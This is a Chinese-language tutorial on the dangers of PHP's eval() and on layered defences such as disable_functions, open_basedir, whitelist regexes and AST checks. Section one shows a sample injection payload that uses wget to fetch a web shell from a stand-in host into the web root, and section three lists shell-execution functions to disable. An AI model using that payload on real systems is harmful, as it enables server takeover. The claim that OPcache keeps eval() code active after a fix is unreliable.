eval()存在严重安全风险，因其在当前作用域直接执行任意字符串代码，易导致远程代码执行；仅限完全可控的硬编码场景使用，且须配合禁用危险函数、白名单校验、AST分析等多重防护措施。
如果您在PHP中使用eval()函数将字符串作为代码执行，则可能面临严重的安全威胁，因为该函数会在当前作用域内直接解析并运行传入的任意字符串。以下是对此风险与用途的详细说明：
一、eval函数执行字符串代码的根本风险
eval()会将输入字符串交由Zend引擎进行实时编译与执行，不经过任何语法隔离或权限降级，其执行上下文与主脚本完全一致。这意味着字符串中若包含对全局变量的读写、危险函数调用或控制结构，将直接作用于整个应用环境。
1、攻击者可通过URL参数、表单提交、数据库字段等可控入口注入恶意逻辑，例如：$_GET['payload'] = "system('wget http://malicious.site/shell.php -O /var/www/html/backdoor.php');"；
2、即使添加简单过滤，也极易被绕过，如使用十六进制编码、变量拼接、注释符分隔等方式规避正则检测；
立即学习“PHP免费学习笔记（深入）”；
3、OPcache会缓存eval()生成的opcode，导致漏洞修复后仍持续生效，且无法通过常规opcache_reset()清除；
4、静态分析工具（如PHPStan、Psalm）无法解析eval()内部逻辑，使类型安全、未定义变量等关键检查完全失效。
二、eval函数在特定场景下的有限合法用途
eval()仅在输入完全由开发者硬编码、无任何外部参与、且不可更改的前提下具备可接受性。这类用途必须满足“输入恒定、作用域封闭、无副作用”三原则，否则即视为高危行为。
1、在单元测试中模拟固定表达式求值，例如：eval('return 2 + 3 * 4;')，且该字符串为测试文件内字面量；
2、构建内部调试工具时，仅限本地开发环境启用，并强制绑定到CLI SAPI且禁用Web访问；
3、模板引擎预编译阶段的离线代码生成（非运行时），如Twig在缓存编译时使用AST而非eval()；
4、配置驱动型数学公式计算，前提是公式来源为管理员手工录入的JSON配置项，且经白名单运算符校验（仅允许+−*/()和数字）。
三、禁用危险函数调用的运行时防护措施
当业务逻辑强制要求保留eval()调用点（如遗留系统迁移过渡期），必须在PHP运行环境中切断其危害链路，从底层限制其破坏能力。
1、在php.ini中设置：disable_functions = exec,passthru,shell_exec,system,proc_open,pcntl_exec,dl,assert；
2、启用open_basedir并限定为单一空目录，例如：open_basedir = "/tmp/eval_isolation/"，确保fopen、file_get_contents等无法读取敏感路径；
3、配置memory_limit与max_execution_time至极低阈值，如：memory_limit = 2M 与 max_execution_time = 1；
4、使用PHP-FPM池级配置，为含eval()的脚本单独分配pool，并关闭该pool的env传递与fastcgi_finish_request支持。
四、基于白名单的字符串内容静态校验机制
在eval()调用前对字符串内容实施强约束校验，拒绝一切非预期字符与结构，是防止注入的最后一道应用层防线。
1、提取字符串中所有标识符，逐个验证是否属于预设函数白名单，例如只允许：abs, ceil, floor, round, min, max, count, strlen, substr；
2、使用PCRE正则严格匹配整体结构，如数学表达式仅允许可信模式：/^[0-9+\-*\/\s().,]+$/；
3、禁止出现任何分号、花括号、美元符号、at符号、反引号、双斜杠注释及#号注释；
4、对字符串长度做硬性截断，例如超过256字符立即中止处理并记录审计日志。
五、使用AST语法树进行动态代码安全分析
借助nikic/PHP-Parser等库，在eval()执行前将字符串解析为抽象语法树，遍历全部节点识别非法操作，实现语义级防护，而非简单字符串匹配。
1、加载字符串并构建AST：$stmts = (new ParserFactory)->create(ParserFactory::PREFER_PHP7)->parse($code);；
2、递归遍历所有Expr_FunctionCall节点，检查其name是否在安全函数列表中；
3、检测是否存在T_ECHO、T_PRINT、T_RETURN以外的输出类节点，或T_INCLUDE、T_REQUIRE类文件加载节点；
4、拦截所有Variable、ArrayDimFetch、PropertyFetch节点，防止通过变量间接引用超范围数据。
